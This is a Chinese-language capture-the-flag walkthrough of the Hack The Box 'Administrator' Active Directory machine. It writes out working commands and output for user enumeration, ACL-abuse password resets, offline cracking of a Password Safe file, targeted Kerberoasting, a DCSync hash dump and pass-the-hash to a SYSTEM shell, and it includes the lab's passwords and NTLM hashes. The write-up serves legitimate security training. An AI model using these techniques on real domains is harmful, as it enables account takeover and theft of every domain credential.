HTB-Administrator-Walkthrough

Nmap Result

Not shown: 65509 closed tcp ports (reset)
PORT      STATE SERVICE       REASON          VERSION
21/tcp    open  ftp           syn-ack ttl 127 Microsoft ftpd
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-16 20:34:54Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  unknown       syn-ack ttl 127
49665/tcp open  unknown       syn-ack ttl 127
49666/tcp open  unknown       syn-ack ttl 127
49667/tcp open  unknown       syn-ack ttl 127
49668/tcp open  unknown       syn-ack ttl 127
57388/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
57399/tcp open  unknown       syn-ack ttl 127
57404/tcp open  unknown       syn-ack ttl 127
57415/tcp open  unknown       syn-ack ttl 127
57447/tcp open  unknown       syn-ack ttl 127
64600/tcp open  unknown       syn-ack ttl 127

Enumeration

Machine information 给出一个valid credential：

Username: Olivia Password: ichliebedich

首先尝试连接21/FTP端口，olivia和匿名登录均失败:

尝试用enum4linux和smbclient连接，但仍然失败. 但得知域名为Adiministrator：

使用kerbrute确认olivia是否为域内valid用户:

./kerbrute userenum -d administrator --dc 10.10.11.42 users 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,&lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 04/19/25 - Ronnie Flathers @ropnop

2025/04/19 12:56:16 >  Using KDC(s):
2025/04/19 12:56:16 >   10.10.11.42:88

2025/04/19 12:56:16 >  [+] VALID USERNAME:       olivia@administrator
2025/04/19 12:56:16 >  Done! Tested 1 usernames (1 valid) in 0.007 seconds

得知olivia是域用户后，可以使用impacket-lookupsid来暴力枚举用户列表：

impacket-lookupsid 'Olivia'@10.10.11.42                                                           
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Brute forcing SIDs at 10.10.11.42
[*] StringBinding ncacn_np:10.10.11.42[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1088858960-373806567-254189436
498: ADMINISTRATOR\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: ADMINISTRATOR\Administrator (SidTypeUser)
501: ADMINISTRATOR\Guest (SidTypeUser)
502: ADMINISTRATOR\krbtgt (SidTypeUser)
512: ADMINISTRATOR\Domain Admins (SidTypeGroup)
513: ADMINISTRATOR\Domain Users (SidTypeGroup)
514: ADMINISTRATOR\Domain Guests (SidTypeGroup)
515: ADMINISTRATOR\Domain Computers (SidTypeGroup)
516: ADMINISTRATOR\Domain Controllers (SidTypeGroup)
517: ADMINISTRATOR\Cert Publishers (SidTypeAlias)
518: ADMINISTRATOR\Schema Admins (SidTypeGroup)
519: ADMINISTRATOR\Enterprise Admins (SidTypeGroup)
520: ADMINISTRATOR\Group Policy Creator Owners (SidTypeGroup)
521: ADMINISTRATOR\Read-only Domain Controllers (SidTypeGroup)
522: ADMINISTRATOR\Cloneable Domain Controllers (SidTypeGroup)
525: ADMINISTRATOR\Protected Users (SidTypeGroup)
526: ADMINISTRATOR\Key Admins (SidTypeGroup)
527: ADMINISTRATOR\Enterprise Key Admins (SidTypeGroup)
553: ADMINISTRATOR\RAS and IAS Servers (SidTypeAlias)
571: ADMINISTRATOR\Allowed RODC Password Replication Group (SidTypeAlias)
572: ADMINISTRATOR\Denied RODC Password Replication Group (SidTypeAlias)
1000: ADMINISTRATOR\DC$ (SidTypeUser)
1101: ADMINISTRATOR\DnsAdmins (SidTypeAlias)
1102: ADMINISTRATOR\DnsUpdateProxy (SidTypeGroup)
1108: ADMINISTRATOR\olivia (SidTypeUser)
1109: ADMINISTRATOR\michael (SidTypeUser)
1110: ADMINISTRATOR\benjamin (SidTypeUser)
1111: ADMINISTRATOR\Share Moderators (SidTypeAlias)
1112: ADMINISTRATOR\emily (SidTypeUser)
1113: ADMINISTRATOR\ethan (SidTypeUser)
3601: ADMINISTRATOR\alexander (SidTypeUser)
3602: ADMINISTRATOR\emma (SidTypeUser)

至此，得到了一个用户列表：

olivia
michael
benjamin
emily
ethan
alexander
emma

如果在域环境内，用户没有开启kerberos pre-authentication，那么攻击者无需用户密码就可以获得用户的authentication-response，并尝试离线破解。impacket-GetNPUsers可以枚举有哪些用户没有开启此选项，并尝试获取AS-REP. 此攻击也被称为AS-REP Roasting. 尝试:

impacket-GetNPUsers -usersfile users -no-pass -dc-host administrator -dc-ip 10.10.11.42 administrator/
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] User olivia doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User michael doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User benjamin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User emily doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ethan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

没有用户设置了DONT_REQUIRE_PREAUTH. 但我们还有Olivia的密码，尝试用bloodhound-python远程获取域内结构：

bloodhound-python -u Olivia -p 'ichliebedich' -d administrator.htb -ns 10.10.11.42 -c All --zip          
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: administrator.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.administrator.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.administrator.htb
INFO: Done in 00M 02S
INFO: Compressing output into 20250419131421_bloodhound.zip

打开bloodhound并上传.

ACL Abuse

Olivia对用户Michael有GenericAll权限，Michael对Benjamin有ForceChangePassword权限，而Benjiamin属于组Share Moderators。

当一个用户A对另一个用户B有GenericAll权限时，则A可以对B：

修改密码
更改用户属性
添加用户到组
修改用户SPN - Targeted kerberoasting

当一个用户A对另一个用户B有ForceChangePassword权限时，则A可以强制修改B的密码。

尝试使用bloodyAD修改michael密码：

bloodyAD --host 10.10.11.42 -d administrator -u Olivia -p ichliebedich set password Michael 'Password123!'
[+] Password changed successfully!

再以Michael的身份修改Benjamin的密码：

bloodyAD --host 10.10.11.42 -d administrator -u Michael -p Password123! set password Benjamin 'Password123!'
[+] Password changed successfully!

根据Benjamin隶属的组名Share Moderators，猜测Benjamin应该有权限管理SMB share或者FTP，尝试登录这两个服务：

benjamin:Password123!登录FTP服务成功，并在目录下发现一个Backup.psafe3文件，下载下来。

没见过这个psafe3文件是什么，在网上搜索一番后得知, psafe3是一个保管密码的数据库,并且文件被一个master password加密：

可以使用我们万能的john来dump这个文件的master password，并尝试破解：

pwsafe2john Backup.psafe3 > pshash
cat pshash                  
Backu:$pwsafe$*3*4ff588b74906263ad2abba592aba35d58bcd3a57e307bf79c8479dec6b3149aa*2048*1a941c10167252410ae04b7b43753aaedb4ec63e3f18c646bb084ec4f0944050
john --wordlist=/usr/share/wordlists/rockyou.txt pshash
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 128/128 AVX 4x])
No password hashes left to crack (see FAQ)
john --wordlist=/usr/share/wordlists/rockyou.txt pshash
john --show pshash                                     
Backu:tekieromucho
1 password hash cracked, 0 left

得到密码，tekieromucho。使用pwsafe打开文件并输入密码：

登录后右键可以复制密码到粘贴板, 三人密码分别是:

Alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
Emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
Emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur

在bloodhound里查看这三人分别有什么权限，发现Emily对Ethan有GenericWrite权限：

而Ethan对DC有DCSync权限：

当用户A对用户B有GenericWrite权限时，则A可以修改B的SPN属性，实施Targeted-kerberoasting Attack。

当用户A对DC有DCSync权限时，则A可以模拟域控制器向其他 DC 请求复制Password Hash，也就是可以发起 DCSync Attack，提取域内所有账户的 NTLM Hash.

使用targetedKerberoast对ethan发起攻击:

成功获取到了ethan的SPN。

PS：如果报错[!] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)，则是因为本机与DC之间的时间差过大，Kerberos认证对时间差要求非常严格。可以使用ntpdata ip来同步与DC的时间差。

PS：targetedKerberoast.py 跟impacket-GetUserSPNs功能大致一样，但它会尝试对可写入SPN的对象写入SPN属性后，再获取SPN。

用john破解ethan的SPN后获取密码：limpbizkit

因为ethan对DC有DCSync权限，则可以用Impacket-secresdump来直接dump域内密码：

impacket-secretsdump Administrator/ethan:'limpbizkit'@10.10.11.42
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
.......
[*] Cleaning up...

获取Administrator的NTLM hash，用impacket-psexec尝试登录:

impacket-psexec -hashes :3dc553ce4b9fd20bd016e098d2d2fd2e Administrator/Administrator@10.10.11.42                  
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.11.42.....
[*] Found writable share ADMIN$
[*] Uploading file PPzOqLvu.exe
[*] Opening SVCManager on 10.10.11.42.....
[*] Creating service ecOM on 10.10.11.42.....
[*] Starting service ecOM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2762]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system